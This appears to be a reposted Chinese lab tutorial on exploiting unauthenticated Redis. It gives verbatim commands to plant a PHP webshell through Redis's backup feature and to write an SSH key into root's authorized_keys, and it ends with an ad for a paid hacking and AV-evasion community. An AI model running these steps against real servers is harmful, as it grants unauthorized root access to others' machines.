当redis服务(6379)端口对外开放且未作密码认证时粤有钱,任意用户可未授权访问redis服务并操作获取其数据。攻击机:10.1.1.100 kali目标靶机:10.1.1.200一、探测redis的未授权访问首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。使用全端口扫描,探测存在的服务:nmap -p- -sV 10.1.1.200
图片粤有钱
探测到靶机开放了多个端口,其中存在redis服务的6379端口,开始尝试是否存在redis未授权访问漏洞。下载redis连接工具,解压后使用make命令进行编译。图片
编译后的redis-cli文件存放在src目录中,将其复制到bin目录下,就可以在任意位置执行。图片
使用redis-cli工具对redis数据尝试进行连接。redis-cli -h 10.1.1.200 -p 6379图片
连接成功,这个地方存在一个未授权访问。二、利用未授权访问漏洞写入一句话木马。对之前使用nmap扫描到的80端口进行访问,发现了一个页面,判断存在web服务,尝试使用扫描工具对目录进行一个探测。
图片
使用dirsearch工具进行目录的探测,发现还存在一个phpinfo目录。图片
图片
看到了网站的根目录图片
利用之前已经远程连接到的redis数据库,利用写入备份文件的方式,在这个地方可以尝试写入一句话木马。config set dir <路径> #设置备份路径config set dbfilename <文件名> #设置备份文件的名字set <key> <value> #写入数据save #保存图片
访问目标,拿到webshell图片
三、利用redis未授权访问写入ssh公钥获取shell先生成ssh的公钥,公钥文件一般保存在/root/.ssh目录下ssh-keygen -t rsa
图片
将公钥写入到foo.txt文件中,前后使用换行,必然和其他符号连接产生其他不可预知错误。(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt图片
将公钥信息写入到目标靶机cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey图片
再一次利用备份功能写入公钥的备份文件。config set dir /root/.sshconfig set dbfilename authorized_keyssave图片
使用ssh连接方式:ssh root@10.1.1.200 -i /root/.ssh/id_rsa图片
成功获取到shell。★
付费圈子欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
图片
进成员内部群
图片
星球的最近主题和星球内部工具一些展示
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
加入安全交流群
图片
关 注 有 礼粤有钱
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报。红腾网提示:文章来自网络,不代表本站观点。